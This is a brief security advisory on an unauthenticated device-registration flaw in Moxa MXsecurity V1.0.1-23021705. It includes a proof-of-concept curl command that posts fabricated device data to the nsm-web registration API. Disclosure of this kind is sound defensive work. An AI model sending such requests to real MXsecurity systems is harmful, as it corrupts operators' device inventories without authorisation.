Moxa MXsecurity Unauthenticated Device Registration

A security issue regarding improper access controls has been discovered in Moxa MXsecurity V1.0.1-23021705. It allows an unauthenticated remote attacker to register/add devices via the nsm-web application. This pollutes the MXsecurity sqlite database and the nsm-web UI.

Proof of Concept




curl -k -H 'Content-Type:application/json' -d '{"mac":"11:11:11:11:11:11", "serialNumber":"1234", "modelName":"aaa", "hostname":"device_1", "firmwareVersion":"1.1", "location":"location_1"}' 'https:///api/v1/devices/register'
